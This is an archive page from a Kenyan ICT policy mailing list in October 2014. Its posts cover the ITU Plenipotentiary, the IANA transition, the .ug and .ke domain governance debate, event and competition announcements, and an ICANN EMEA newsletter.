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What is the position of the Kenyan government delegation to the Plenipot14?
by Mwendwa Kivuva 22 Oct '14

22 Oct '14

The ITU meeting started on 21st October 2014 in Busan, South Korea and will run for 3 weeks. ISOC Kenya Chapter is represented by several members who will share their experiences with the list. I hope our delegation on the ground will be reporting regularly on the daily outcomes of this important conference. Internet Society position on the ITU meeting is: 1. There is wide consensus that there is no single "governance" structure for the Internet. Nor is there a single, global platform that can serve to coordinate, organize or govern all the issues that may arise. 2. The Plenipotentiary should not adopt policies that lead to a regulatory role for the ITU in the governance of the Internet. 3. The Plenipotentiary will not agree to place the future of the Internet policy development under the control of an inter-governmental organization. 4. Make the Plenipot more transparent, to listen to the voices of stakeholders and to be responsive to the concerns we and other stakeholders have brought to the ITU The event webcast is available here: https://www.itu.int/en/plenipotentiary/2014/Pages/webcast.aspx and please note the links to real time captioning services on this page. Policy statements and speeches are available here: http://www.itu.int/en/plenipotentiary/2014/statements/Pages/default.aspx For twitter, the "official" hashtag is #Plenipot14 Some civil societies have issued statemets that may be of interest to us and they can be found here: http://bestbits.net/itu-plenipot-notes/ The Internet Society has released a statement on it's position on the ITU Plenipotentiary meeting. The statement by the ISOC president is available here:http://www.internetsociety.org/blog/public-policy/2014/10/road-busan The ISOC VP of global policy too has a statement on the meeting here: http://www.internetsociety.org/blog/public-policy/2014/10/itu-plenipotentia… *What is the position of the Kenyan government delegation to the Plenipot14?* Warm Regards, ______________________ Mwendwa Kivuva, Nairobi, Kenya Secretary, Internet Society Kenya Chapter.

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Fw: Logo Competition in Commemoration of 10 Years of AFRINIC
by Walubengo J 22 Oct '14

22 Oct '14

For the creative minds/designers. Plse accept the challenge below. walu. --- On Wed, 10/15/14, AFRINIC Communication <comm-announce(a)afrinic.net> wrote: > From: AFRINIC Communication <comm-announce(a)afrinic.net> > Subject: Logo Competition in Commemoration of 10 Years of AFRINIC > To: members(a)afrinic.net > Date: Wednesday, October 15, 2014, 12:10 PM > Calling all artists and design > enthusiasts! > > In commemoration of its 10 years of existence, AFRINIC > invites all individuals to participate in this anniversary > celebration. > > For this occasion, AFRINIC is organising a logo competition > to draw all design talents for this proud moment. > > The winning logo design will be featured on all AFRINIC > communication materials, both in print and online throughout > the Year 2015. It will also be used during the Africa > Internet Summit and the AFRINIC-23 Meeting. > > Prizes > > The winner will receive a certificate of appreciation from > AFRINIC in addition to a prize. > > How to Enter > > Submit entries by uploading your designs at: http://meeting.afrinic.net/afrinic-21/en/agenda/logo-competition > as a scalable vector graphic in EPS format, and also as > a JPG. > > Include in your submission form your name, age, postal > address, phone number and email address. > > There is no fee to enter the Contest and only a maximum of 3 > Entries can be submitted per contestant. > > Required Elements > > The logo must contain the image of AFRINIC’s current > corporate logo, which can be found at https://www.afrinic.net/en/about-us/branding > > The colors to be used are Black, Orange, and/or Gray on a > white background. > > The logo must also contain the words “AFRINIC 10 > years”. > > The logo must not contain any other text besides that > required above. > > Upload your submission through our online web form at : http://meeting.afrinic.net/afrinic-21/en/agenda/logo-competition > > Entry Deadline > > The deadline for Entries is 9 November 2014 at > midnight UTC. > > *** Disclaimer: The winning design of AFRINIC’s 10 > years and all other designs submitted will become the > property of AFRINIC and cannot be used by designer for any > other purpose. > > Good luck! > > Regards > > AFRINIC Team > > _______________________________________________ > AfriNIC - The internet numbers registry for Africa

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Developing mobile or IoT apps | Developer Economics
by Mbugua Njihia 22 Oct '14

22 Oct '14

VisionMobile has just launched their latest Developer Economics survey and is tracking developer trends across platforms, app revenues and dev tools - as well as investigating the emerging IoT market. The key findings from the survey will become available in the form of a free research report in February. Aside from contributing to the research, respondents to the survey will also get a chance to win some great prizes, including an iPhone 6, an Oculus Rift DevKit, and a Samsung Gear Smartwatch! You can take the survey here: http://vmob.me/DE1Q15Symbiotic

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Re: [kictanet] IANA Transition does Kenya have anything to say
by waudo siganga 21 Oct '14

21 Oct '14

Awareness is another problem. I am just from an International Internet Security conference in Dar es Salaam. The conference is 5 days and though I spent only 2 days there I never heard ICANN or IANA mentioned. I met one guy from TZ who said he is an Internet Security expert but he seemed not to know ICANN. On Tue, Oct 21, 2014, at 07:29 AM, Harry Hare | African eDevelopment Resource Centre via kictanet wrote: > Hey Badru, > > You you have explained has been my biggest criticism of the ICANN process > and of course of the ICANN cousins. Local businesses will only engage > with > a process that they perceive is relevant to their bottom line. The > American and some European companies get the ICANN and wider internet > issues and they are pretty much embedded in the process looking out for > opportunities and also making sure that there interests are taken care > of, > but not African businesses who have become whole sale consumers of policy > yet they have an opportunity to engage and become part of the process and > define the future together with the rest of the world. > > And when I say local businesses I am not looking at the Telcos and other > internet companies, I am talking about companies such as Kenya Airways, > East African Breweries, Kakuzi Ltd etc. > > My ration for the month :-) > > Harry Hare > > Director | African eDevelopment Resource Centre > PO Box 49475 00100 | Nairobi, Kenya > Tel +254 20 4041646 | Cel +254 725 650044 > > > > > > > On 10/17/14, 11:44 AM, "Badru Ntege via kictanet" > <kictanet(a)lists.kictanet.or.ke> wrote: > > >HI Barrack and all > > > >I think the main question would not only be anything to loose but also > >what are the gains. The worrying thing in all the limited engagement is > >that at this moment our communities all seem to think that IANA, ICANN etc > >are way out of their circle of influence. So we are aware of the goings > >on but they are in our circle of concern. The general assumption seems to > >be that whatever the outcome there is very short term impact on business > >as usual. > > > >The challenge is that we have not been able to breakdown the issues to a > >point of relevancy to the common internet user. > > > >How we break these issues down is still the biggest challenge. > > > >Regards > > > > > > > > > > > > > > > > > >On 10/16/14, 1:29 AM, "Barrack Otieno via kictanet" > ><kictanet(a)lists.kictanet.or.ke> wrote: > > > >>Listers, > >> > >>I wonder how our local Internet community is engaged in the ongoing > >>debate on the IANA transition, as a country do we have anything to > >>lose? > >> > >>Best Regards > >> > >>_______________________________________________ > >>kictanet mailing list > >>kictanet(a)lists.kictanet.or.ke > >>https://lists.kictanet.or.ke/mailman/listinfo/kictanet > >> > >>Unsubscribe or change your options at > >>https://lists.kictanet.or.ke/mailman/options/kictanet/badru.ntege%40nftco > >>n > >>sult.com > >> > >>The Kenya ICT Action Network (KICTANet) is a multi-stakeholder platform > >>for people and institutions interested and involved in ICT policy and > >>regulation. The network aims to act as a catalyst for reform in the ICT > >>sector in support of the national aim of ICT enabled growth and > >>development. > >> > >>KICTANetiquette : Adhere to the same standards of acceptable behaviors > >>online that you follow in real life: respect people's times and > >>bandwidth, share knowledge, don't flame or abuse or personalize, respect > >>privacy, do not spam, do not market your wares or qualifications. > > > > > >_______________________________________________ > >kictanet mailing list > >kictanet(a)lists.kictanet.or.ke > >https://lists.kictanet.or.ke/mailman/listinfo/kictanet > > > >Unsubscribe or change your options at > >https://lists.kictanet.or.ke/mailman/options/kictanet/harry%40africanedeve > >lopment.org > > > >The Kenya ICT Action Network (KICTANet) is a multi-stakeholder platform > >for people and institutions interested and involved in ICT policy and > >regulation. The network aims to act as a catalyst for reform in the ICT > >sector in support of the national aim of ICT enabled growth and > >development. > > > >KICTANetiquette : Adhere to the same standards of acceptable behaviors > >online that you follow in real life: respect people's times and > >bandwidth, share knowledge, don't flame or abuse or personalize, respect > >privacy, do not spam, do not market your wares or qualifications. > > > > _______________________________________________ > kictanet mailing list > kictanet(a)lists.kictanet.or.ke > https://lists.kictanet.or.ke/mailman/listinfo/kictanet > > Unsubscribe or change your options at > https://lists.kictanet.or.ke/mailman/options/kictanet/emailsignet%40mailcan… > > The Kenya ICT Action Network (KICTANet) is a multi-stakeholder platform > for people and institutions interested and involved in ICT policy and > regulation. The network aims to act as a catalyst for reform in the ICT > sector in support of the national aim of ICT enabled growth and > development. > > KICTANetiquette : Adhere to the same standards of acceptable behaviors > online that you follow in real life: respect people's times and > bandwidth, share knowledge, don't flame or abuse or personalize, respect > privacy, do not spam, do not market your wares or qualifications.

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Re: [kictanet] IANA Transition does Kenya have anything to say
by Barrack Otieno 21 Oct '14

21 Oct '14

Listers, I wonder how our local Internet community is engaged in the ongoing debate on the IANA transition, as a country do we have anything to lose? Best Regards

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How to ensure success of ITeS enabled National Masterplans
by Mbugua Njihia 17 Oct '14

17 Oct '14

Many of the masterplans presented by the digital government, whether carried forward from previous regimes or structured as part of election manifestos have information technology or knowledge sharing as a key component. Since they are likely to take more than two political cycles to realize, the frameworks for success must be solidly in place to avert personality driven projects and ensure continuity regardless of the leadership in place. Find my thoughts on this here - http://www.mbuguanjihia.com/business/ensure-success-ites-enabled-national-m…

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iTunes Video
by Adam Nelson 16 Oct '14

16 Oct '14

HBO recently announced that they would be launching a streaming service to non-cable customers next year ... but only in the US. This got me thinking about what the current state of iTunes video is and I came to this list: http://support.apple.com/kb/ts3599#video_content Does anybody know why Zimbabwe, Guinea Bissau, Ghana, Niger, Egypt and a bunch of other African countries are there but not Nigeria, Angola, Rwanda, Tanzania, or Kenya? Is there some sort of intellectual property law that hasn't been passed here? It can't be market size since Kenya, Nigeria, and Angola are some of the biggest markets. -Adam -- Kili - Cloud for Africa: kili.io Musings: twitter.com/varud <https://twitter.com/varud> More Musings: varud.com About Adam: www.linkedin.com/in/adamcnelson

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Vision 2030: A meeting of Industry, Policy Makers, Technologists, Innovators and Educators
by Sean Moroney 16 Oct '14

16 Oct '14

Dear Listers, The IEEE meeting next week, which is focussed on technology and investment strategies for Vision 2030 is a great opportunity to share ideas and perspectives with fellow stakeholders. The invitation is attached. Participation is free, on application. Please email mikeo@aitecafrica if you would like to attend. Regards, Sean Moroney Chairman AITEC Africa seanm(a)aitecafrica.com|Skype: seanmoroney UK Mobile: +44(0)7973499224|Kenya Mobile: +254(0)721845674 www.aitecafrica.com<http://aitecafrica.com/> [AITEC-East-Africa-signature banner] Follow us on: LinkedIn<https://www.linkedin.com/company/535138?trk=vsrp_companies_res_name&trkInfo…> Facebook<https://www.facebook.com/pages/Aitec-Africa/143207745706922?ref=ts&fref=ts> Twitter<https://twitter.com/aitecafrica> YouTube<http://www.youtube.com/channel/UCgwROsywDI7i9AYHAHnL67Q> AITEC Africa is the trading name of AITEC Conferences Ltd UK registration number 4698475 From: Mike Otieno Sent: 16 October 2014 11:26 To: bella.akinyi(a)kam.co.ke Cc: Sean Moroney; Joyce Wambu; Judith Orjiako Subject: Vision 2030: A meeting of Industry, Policy Makers, Technologists, Innovators and Educators Hi Bella, It was nice speaking to you this morning about this event scheduled for 22nd-23rd October at the Intercontinental Hotel. Please see attached the invitation letter as well as a brochure that will give you more details about the event. I would really appreciate if this invitation can be sent out to your relevant members to RSVP. I will make a follow-up phone call on this. Kind Regards, Mike Mike Otieno Event Marketing Manager AITEC Africa mikeo(a)aitecafrica.com<mailto:mikeo@aitecafrica.com> Mobile: +254(0)723764118 Skype:mike.otieno3 Twitter:@myquestmike www.aitecafrica.com<http://www.aitecafrica.comfollow/> Follow us on twitter: http://twitter.com/aitecafrica

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The .ug debate: Is Re-delegation Necessary? Comparison with .ke
by Mwendwa Kivuva 15 Oct '14

15 Oct '14

Uganda seems to want to go the .KE way (public ownership), while .KE wants to go the .UG way (private ownership). Are there any lessons the two registries can learn from each other? http://www.newvision.co.ug/news/368-blogger-the-ug-debate-is-redelegation -necessary.aspx *There has been a lot said about the .ug ccTLD (Country Code Top Level Domain) management over the years and by the look of things we seem to be reaching the peak of this debate. * Legislators have been drawn into the debate and judging from what we hear them say, there is definitely a lot of misinformation going on. There is cause for concern when one comes across news headlines like, "A Private Firm Owns Uganda's Internet Domain Name" and MP Taaka's query that "Is Uganda safe considering that .UG as a domain name is privately owned?" For starters, a ccTLD is a two letter domain name extension that corresponds to a country (.ke - Kenya, .tz - Tanzania, .rw - Rwanda, .uk - United Kingdom) , territory or geographic location. So, to make things clear, .ug isn't a domain name as is being insinuated in the discussions going on in the august house. In the early 1990s at the start of the globalised internet age, ccTLDs were issued to various countries and for those that never had the capacity to manage them, help came from ICANN through various agencies. Uganda was one of those countries that never had the capacity and Randy Bush <http://www.internethalloffame.org/inductees/randy-bush> an Internet Pioneer and founder of the Network Startup Resource Centre (NSRC) <http://www.nsrc.org> volunteered to carry out the technical management of the .ug ccTLD. Around the same period, a then youthful and ambitious Ugandan Engineer, Charles Musisi <http://ug.linkedin.com/in/charlesi3c> had picked a lot of interest in the nascent internet technologies of the times. His interest led him to set up the first email service in Uganda (FIDO-NET) and as well join a group of internet pioneers on the African continent. This interest and exposure led him to pick interest in the management of the .ug ccTLD as far back as the mid 1990s. On application, he was assigned the administrative rights and Randy Bush continued to offer the technical management support as Charles' company then, Uganda Online (now called Infinity Computers and Communications Company Ltd - i3C) started developing local capacity to do the same. Eventually, he was able to wean off Randy Bush's support and his company took over full technical and administrative management of the ccTLD. Did he buy the .ug ccTLD as is alleged? NO. Around the same time, his colleagues in Kenya and Tanzania also undertook management of their countries' ccTLDs albeit with mixed results. Dr. Shem Ochuodho was eventually booted out of .ke ccTLD Management having failed to perform to the expectations of the community which led to the set up of KENIC <http://www.kenic.or.ke>. It is worth noting that Uganda Online was able to successfully commercialise the management of the .ug ccTLD and this is evidenced by the fact that the ccTLD has operated in a stable environment over the years without seeking any financial aid. However, like anything, change in the internet landscape will always necessitate changes in the supporting technologies and services. Currently, there has been a significant growth in the state's interest in ICT infrastructure and services provision. This has seen the country undertake numerous interventions like the roll out of the National Fibre Backbone, promotion of the Business Process Outsourcing, e-Government implementation among others. The .ug is also being looked at as one of those services that are likely to help fill the puzzle of ICT proliferation in Uganda. The Draft Policy Framework for the management of the .ug ccTLD has as its major objective, "to formalize management of .ug Country Code Top Level Domain Name and come up with a management framework that will ensure transparency and greater accountability towards the Internet community of Uganda and the rest of the Global Internet Community." The current status-quo is characterised by: * Efficient assignment of domain names * Decent Support for technical issues * Uniform domain registration costs * Stable Domain Name System (DNS) services It is clear that i3C <http://www.i3c.co.ug> is performing well on the technical front and not much can be said in that regard. However, as a private company, it has limitations on what can be achieved especially if one asks the following questions; 1. What governance systems are in place for the .ug ccTLD as a national resource currently? 2. What policies and procedures are there for the issuance, renewal, and arbitration of domain related disputes? 3. If policies are present, who designed them and was there community participation? 4. What strategies are in place to promote the usage of .ug by nationals? 5. What universal access measures are in place to ensure that various sections of society aren't alienated on the basis of gender, rural/urban divides, youth, disability among others? 6. What measures are in place to ensure that the Government of Uganda (the custodian of Uganda's resources on behalf of the people) actively participates in influencing the direction of the .ug ccTLD? 7. What measures are in place to ensure that civil society can have its input/feedback into the .ug ccTLD management process? At the current pace, there are more gaps being created in the overall .ug management and the earlier they are addressed, the better. A quick look at the .ke ccTLD, one is able to get updated information on how many domains that are registered and active, standing at 30,156 domains with a target of 33,800 domains by the close of 2014. Not only is it hard to get accurate information on the number of domains registered and active at the .ug ccTLD but the last time I got a whiff, the estimate was 3000 domains and assuming the numbers have doubled since then, our next door neighbors are definitely rounding us up five times. For purposes of cross comparisons, this table reveals a couple of things; The Government of Uganda through the Ministry of ICT <http://www.ict.go.ug> has come out to crusade for the formation of the Uganda National Information Centre (ugNIC) a not for profit company comprising of representatives from government, Internet Service Providers, Civil Society/ NGOs, consumers, infrastructure providers, academia and the business community. The ugNIC shall have the mandate to manage the operations of the .ug. According to the outlined functions for the ugNIC, it is worth noting that some issues were left out. It is vital that the company created should also undertake; * Marketing of the .ug ccTLD to win national appeal * Handling domain dispute resolution according to the set out guidelines and policies On the basis of this, it should therefore be clear that the following are mere myths: 1. That Charles Musisi <http://ug.linkedin.com/in/charlesi3c> or his company i3C <http://www.i3c.co.ug> OWN the .ug ccTLD 2. That the .ug ccTLD was assigned to a private company in bad faith. 3. That Government officials gave away the .ug ccTLD to a private entity. As an active member of the Internet Space in Uganda, some of the reasons why I support the proposed changes in the .ug ccTLD administration are; * Increased public accountability of the .ug resource * Increased community participation in determining the future of the .ug resource * The need to separate the Technical and Administrative management of the . ug resource. While i3C may have performed well handling the Technical aspects, it has fallen short on the Administrative front. * The lack of a well incentivised reseller programme has greatly hindered the promotion of the .ug ccTLD locally. * The need for serious promotion and marketing of the .ug ccTLD * Opportunity for using Government resources to upskill the technical managers of the .ug ccTLD. * Having witnessed companies fold, what happens if i3C closed shop out of the blue? It happened to Enron <http://en.wikipedia.org/wiki/Enron> (One of the largest energy companies in the world during the last century). Risking the .ug ccTLD resource to this level can have a massive impact on the nation in case such a scenario plays out. As the Ugandan Internet community, we need to be careful to avoid the misinformation that is flying around and also ensure that we lend our support in a manner that will put national benefit at the forefront while not forgetting the patriotic work people like Engineer Charles Musisi <http://ug.linkedin.com/in/charlesi3c> have rendered this nation in the past. Twitter: @wirejames <https://twitter.com/wirejames> Email: lunghabo [at] gmail [dot] com ______________________ Mwendwa Kivuva, Nairobi, Kenya twitter.com/lordmwesh "There are some men who lift the age they inhabit, till all men walk on higher ground in that lifetime." - Maxwell Anderson

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Webinar invite: PCI 3.0 is knocking on your door - are you ready?
by Bernard Mutai 15 Oct '14

15 Oct '14

Dear All, If you are interested in protecting PCI-DSS (Payment Card Industry - Data Security Standard), this webinar from Trustwave is for you. Please register to participate. Regards Ben Mutai [image: Trustwave]Send to a Friend <http://go.trustwave.com/v/b0000qFl3RA0Mg5z030gZ4c> [image: Trustwave] <http://go.trustwave.com/p0400R05AM0g0BcFql0gZ33> PCI 3.0 is knocking *Watch the webinar live on 16 October, 10AM UK* The implementation deadline for PCI DSS version 3.0 is right around the corner - is your organization prepared? With an evolving threat landscape, it may seem overwhelming to approach the new requirements of PCI 3.0. Join Trustwave, in partnership with ETA, for our educational webinar to help prepare you for the change. During the webinar, we'll cover: - Why PCI is so important in protecting your customers' data and your business - How to secure your business and prepare for PCI 3.0 - Tactics that will help ensure compliance and security are always top-of-mind for you and your employees *Date and Time:* 16th October 2014 10:00 am UK, 11:00 am Europe Register to reserve your spot <http://go.trustwave.com/f003q0l0ZC005F3gRcMBg04> [image: Webinar: PCI 3.0 is knocking] <http://go.trustwave.com/v04Z0c3D0qlMRgC5F03g000> Follow us: [image: LinkedIn] <http://go.trustwave.com/wFZMc4qRl0000g5D00g3E03>[image: Twitter] <http://go.trustwave.com/wFZMc4qRl0000g5E00g3F03>[image: Facebook] <http://go.trustwave.com/F5ZFl00GF0R0g33g000Mqc4>[image: Trustwave] Trustwave.com <http://go.trustwave.com/A30G04RF30cq5gg00l0H0ZM> | Legal Information <http://go.trustwave.com/G5F0M330ZH4IR0ql0000gcg> | Privacy Policy <http://go.trustwave.com/f003q0l0ZJ005F3gRcMIg04> © 2014 Trustwave Holdings, Inc. All rights reserved. ------------------------------ This transmission may contain information that is privileged, confidential, and/or exempt from disclosure under applicable law. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution, or use of the information contained herein (including any reliance thereon) is strictly prohibited. If you received this transmission in error, please immediately contact the sender and destroy the material in its entirety, whether in electronic or hard copy format.

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FW: Call for feedback on two important IG issues...
by Grace Githaiga 14 Oct '14

14 Oct '14

From: stephaniep(a)diplomacy.edu Date: Tue, 14 Oct 2014 17:25:51 +0200 Subject: Call for feedback on two important IG issues... To: igcbp(a)diplomacy.edu Dear friends, We would like to invite you to share your thoughts on two very important and current issues in Internet governance - issues which you may have already thought about and discussed with you colleagues or in the community: #1 Overcoming policy silos: Across different countries and regions, stakeholders and policymakers often approach the same IG issues from various angles and policy routes. Parallel debates often take place, with the risk of policy incoherence and even turf battles among the forums discussing the same issues. So, how can we overcome policy silos or policy segregation? To arrive at possible solutions, we first need to understand how the policy process works in different countries by taking, as example, three areas: (a) data protection and privacy; (b) cybersecurity and cybercrime; (c) intellectual property rights. With this in mind, please take part in the survey on policy silos, and contribute to the discussion forum. #2. A one-stop shop: IG is a highly complex policy space with hundreds of actors addressing more than 50 different policy issues in a wide range of forums. So, to whom do we address our concerns? Which organisations do we get in touch with if we need information about different IG aspects? Where can we learn about the latest developments? A possible solution is the creation of a one-stop shop, or a ‘clearing house’, with the underlying aim of assisting players – especially governments and stakeholders from developing countries – in making better use of existing processes to help shape their own policies on national levels. The design is key: Should it be a new international Internet organisation, a global multistakeholder IG clearing house, a distributed governance system, or...? What functions should it have? Please share your views on discussion forum. Your contributions will be help us (a) identify approaches to overcome policy silos, and (b) make concrete proposals towards a clearing house. Needless to say, your contributions will be highly appreciated. The discussion is hosted by the Geneva Internet Platform, in preparation for the upcoming international conference, the Geneva Internet Conference. If you have any questions/comments, please do not hesitate to let me know. Thanks in advance,Stephanie -- Stephanie Borg PsailaDiploFoundation www.diplomacy.edu The latest from Diplo... Join our Internet governance community at www.diplointernetgovernance.org To unsubscribe from this group and stop receiving emails from it, send an email to igcbp+unsubscribe(a)diplomacy.edu.

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Young Innovators Competition Challenge 4
by Grace Githaiga 14 Oct '14

14 Oct '14

Dear Friends, We are sharing this information so that you could circulate to your networks for the benefit of our youth. We would also appreciate receiving contacts that you think would find this of benefit to them so that we could reach out to them. Thank you, Alice Begin forwarded message: From: Zürcher, Robin <robin.zurcher(a)itu.int> Date: October 1, 2014 at 10:07:04 AM GMT-4 To: "sg(a)atu-uat.org" <sg(a)atu-uat.org> Cc: "absoumaila(a)yahoo.fr" <absoumaila(a)yahoo.fr> Subject: Young Innovators Competition Challenge 4 To the attention of Mr Abdoulkarim SOUMAILA As part of the ITU, the UN agency responsible for ICT-related issues, ITU Telecom World Young Innovators Competition launched the 4th and last challenge of this year. Given your work with the ATU - African Telecommunications Union we kindly ask for your support in promoting the competition in your network in order to give the opportunity to participate to as many young people as possible. Please kindly pass the information to the relevant national administrations in order to spread the word among university students and other young bright minds in your country who might be interested in applying. This challenge is in partnership with the IEEE IoT Initiative and we are looking for the best ideas for new businesses and innovations on how the Internet of Things can be used for social good. We will be accepting ideas until November 03, 2014. The competition is open to 18-30 year-old young people from across ITU’s 193 member states. The winners are invited to the ITU Telecom World 2014 in Doha in December this year where they can showcase their innovative ideas and will enjoy mentoring and workshops on entrepreneurial skills. Prize money of up to USD 5,000 in the form of seed funding will be awarded to implement and bring to scale winning start-ups. Participants should go to https://ideas.itu.int to get more information and apply. Please feel free to distribute the flyer which you can find in the attachment. Please find more information in the Press Release in the six official UN languages, English, Arabic, Spanish, French, Russian, and Chinese. You can also learn more about the competition at http://telecomworld.itu.int/take-part/innovate/. For any further material or assistance, please email us at young.innovators(a)itu.int. Best regards, Robin Zuercher Young Innovators Competition Team --Forwarded Message Attachment--

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Fwd: [AfrICANN-discuss] EMEA Newsletter Issue #2
by Bob Omondi 13 Oct '14

13 Oct '14

FYI... ---------- Forwarded message ---------- From: Yaovi Atohoun <yaovi.atohoun(a)icann.org> Date: Sat, Oct 11, 2014 at 10:55 AM Subject: [AfrICANN-discuss] EMEA Newsletter Issue #2 To: AfrICANN list <africann(a)afrinic.net> Hi all / Bonjour a tous Please see below the second edition of our EMEA Newslettter. My apologies for the size of the text. Priere trouver dans ce message la deuxieme edition du Journal EMEA (Europe/Moyen-Orient/Afrique). Nous vous ferons parvenir la traduction lorsqu'elle est terminee. Mes excuses pour la longueur tu texte. Thanks/Merci - Yaovi Atohoun Stakeholder Engagement and Operations Manager – Africa ICANN – www.icann.org Mobile : +229 66015649 / 97891228 ============================================================= Issue #2 *Jump To:* Istanbul Hub Events <#148fe362255cb0a5_IHB> | EMEA News & Activities <#148fe362255cb0a5_ENA> | Regional Insights <#148fe362255cb0a5_IRI> | Spotlight <#148fe362255cb0a5_S> | Upcoming Events <#148fe362255cb0a5_KRUIE> | News Highlights <#148fe362255cb0a5_NH> Welcome to our second edition of the EMEA newsletter We’ve had a busy quarter, especially last month in Istanbul with various activities planned around the 9th Internet Governance Forum (IGF). Our newsletter provides a snapshot of activities within our Istanbul hub along with highlights from across Europe, the Middle East and Africa and also a few insights into what we have been doing and why. You will also find a special feature ‘Spotlight’ in this edition, which highlights efforts in the EMEA community and stories of successful multistakeholder collaboration designed to ensure the safeguarding of a secure, stable and resilient global Internet. This issue’s spotlight is the Lebanon Internet Center (LINC), a multistakeholder body mandated with overseeing Internet policies in Lebanon. It is the first national multistakeholder body in the Middle East launched earlier this year. LINC’s CEO shares his thoughts with us. We hope you find our news and features engaging and, as always, we welcome your feedback. *Happy Reading!* *The EMEA Team* ICANN’s Hub in Istanbul – Regional and Local Focus on Internet Activities The opening of the Istanbul Hub marked a significant milestone in the evolution of ICANN as it spreads its operational functions across three global headquarters—Los Angeles, Istanbul, and Singapore. Since then, the Istanbul hub office and its staff have served as both hosts and conveners with events stakeholders for across all of its sectors. Additionally, the hub provides full support to the engagement offices and their staff throughout the EMEA, along with standard ICANN services in the following areas: policy development, contractual compliance, operations, registries and registrars’ services, communications, meetings, and Board support. In our host city, Istanbul, we have been active in our outreach efforts on several levels, meeting and collaborating with members of government, business, academia, and civil society, a testament to ICANN’s commitment to the region and to its globalization efforts. Hosting and convening meetings of stakeholders from various sectors helps achieve ICANN’s engagement efforts in Turkey and the EMEA region more broadly. From meetings with researchers and scholars to planning a forum of DNS experts, ICANN appreciates the opportunity to demonstrate its commitment to globalizing its services and resources for the multistakeholder community. ICANN looks forward to expanding the Istanbul hub and further elevating its work in Turkey and the Europe, Middle East, and Africa region. *David Olive* *Vice President, Policy Development Support* *General Manager, ICANN Regional Headquarters –Istanbul* Internet Corporation for Assigned Names and Numbers (ICANN) _Istanbul Hub Events Meeting with law students from the Bilgi University IT Law Institute http://cyberlaw.bilgi.edu.tr/ Local Officials, ICANN President and CEO Launch .ist and .istanbul The Municipality of Istanbul signed an agreement with ICANN for the registration of .ist and .istanbul as domain extensions. Istanbul Mayor Kadir Topbaş and ICANN President and CEO Fadi Chehade attended the signing ceremony on 2 September 2014 in Istanbul. “Istanbul will also have a central presence on the Internet via the new '.ist' and '.istanbul' domains,” said the Mayor Topbaş. The Mayor said Istanbul was "in a position that can influence the world in many fields" and that the municipality is exerting efforts to turn Istanbul into "a hub for everything." Mentioning that few cities had their own domain names, Mayor Topbaş continued, "I believe it is a great opportunity to boost recognition of Istanbul and further expand its role as a financial hub." He emphasized that the city became the first of 81 cities in Turkey to have its own domain name. Fadi Chehadé noted that Istanbul has managed to preserve its past while building its future. "Istanbul is a unique city and imitated by others”, Chehadé said. “It will now have more online visibility and websites will benefit from those new domain names." Broad Multistakeholder Participation as IGF 2014 Wraps Up in Istanbul ICANN participated <https://www.icann.org/news/announcement-3-2014-08-25-en> in this year's 9th Internet Governance Forum (IGF) <http://www.intgovforum.org/cms/> meeting in Istanbul. The overarching theme of the meeting was Connecting Continents for Enhanced Multistakeholder Internet Governance <http://www.igf2014.org.tr/about.igf.html>. This year's meeting built on previous IGFs and furthered the dialogue on Internet governance and emerging Internet issues. It also built on the success of this year’s NETmundial in Sao Paulo, Brazil and promoted its outcomes. ICANN believes that the IGF plays an effective role in fostering global multistakeholder cooperation in Internet governance and strongly supports its continuation beyond its 2015 mandate. *Key IGF 2014 statistics* - 2,374 onsite participants - 1163 remote participants *Onsite Participation by Region**Onsite Participation by Stakeholder Group* Africa Asia Pacific Eastern Europe Host Country Host Country Latin America and the Caribbean Western Europe and Others 215 423 153 706 158 714 Civil Society Government Intergovernmental Organizations Host Country Private Sector Technical Community 836 542 98 516 289 Briefing by the Academic Community on Multistakholder Research Projects On 3 September, the IT Law Institute at İstanbul Bilgi University and the Harvard University Berkman Center for Internet and Society, both members of the Global Network of Interdisciplinary Internet & Society Centers (NoC <http://cyber.law.harvard.edu/research/network_of_centers>), introduced a preliminary report of ongoing research to members of the ICANN Board, senior ICANN executives, members of the Turkish Internet Improvement Board, and other Internet stakeholders. As an academic community, an integral part of the multistakeholder Internet governance approach, this group decided to make an academic contribution to the ongoing debate on the distributed, decentralized Internet governance ecosystem. They prepared a report based on the foundational principles of NetMundial and framework for a global, collaborative, and decentralized Internet governance ecosystem as described in the report of the Panel on Global Internet Cooperation and Governance Mechanisms. http://networkofcenters.net/event/evolution-internet-governance-ecosystem Future Activities Planned in Istanbul Taking place on the 18th November 2014 in Istanbul, is the Turkey DNS Forum where participants from ICANN, registries, registrars, registrants, ccTLDs, new gTLD applicants, policy makers, Internet service providers, IT businesses, brand owners, and legal firms all will attend in an attempt to build bridges between interested parties in Turkey and the world's experts in these fields, to share experiences and best practices, inform the audience of what is taking place in the domain name industry at a global level, and to discuss emerging business opportunities. The first edition of the forum is expected to be the building block for future annual forums. The purpose of an annual forum is to spread the message and introduce interested parties to the key players in the DNS industry, hopefully leading to a stronger domain name industry in the region. More details will be provided soon. _ EMEA News & Activities September 20143 SeptemberICANN signed an MoU with the Ministry of Information Society and Administration. Read more here <https://www.icann.org/news/blog/macedonia-and-icann-sign-cooperation-agreem…>Skopje, Macedonia8-11 SeptemberDNSSEC Workshop: http://dnssec-deployment.icann.org/training/AMM/Amman, Jordan15 SeptemberDanish IGF <http://www.fremtidensinternet.dk/> – Panel: Internet Governance – Who is in Control. Speaker – Jean-Jacque Sahel, VP Stakeholder Engagement, EuropeCopenhagen, Denmark17-19 SeptemberDNSSEC RoadshowYaounde, Cameroon17-19 SeptemberSouthern Africa IGF <http://giplatform.org/events/saigf-malawi> - Speaker: Bob Ochieng Lilongwe, Malawi24-26 SeptemberDemo Africa <http://www.demo-africa.com/events/event-details/demo-africa-2014>,; Speaker: Bob OchiengLagos, Nigeria28-30 SeptemberConnect to Connect <http://extensia-events.com/events/connect-2-connect-2014>,; - Main topic : Internetworking in Africa; Speaker: Bob OchiengTanzania22 SeptemberPanel “Roundtable on Internet Governance” <http://www.chathamhouse.org/event/multi-stakeholder-model-internet-governan…>, Speaker: Sally Costerton, Senior Advisor to the President, Internet Corporation for Assigned Names and Numbers (ICANN)London, UK23 SeptemberTunisian ICT Association Panel on “Internet Governance, present situation and new approaches”, Speaker: Baher Esmat, VP, Stakeholder Engagement, Middle East Hammamet, Tunisia October 20142-3 OctoberHigh Level Workshop on Internet Governance <http://www.smartrwandadays.rw>, ICANN Africa team and Mike Silber, ICANN board Member will be speaking. Kigali, Rwanda Government Engagement Group Activities8 SeptemberUN New York briefing hosted by the Polish and Mexican Permanent Missions to the UN - 40 attendees and active dialog 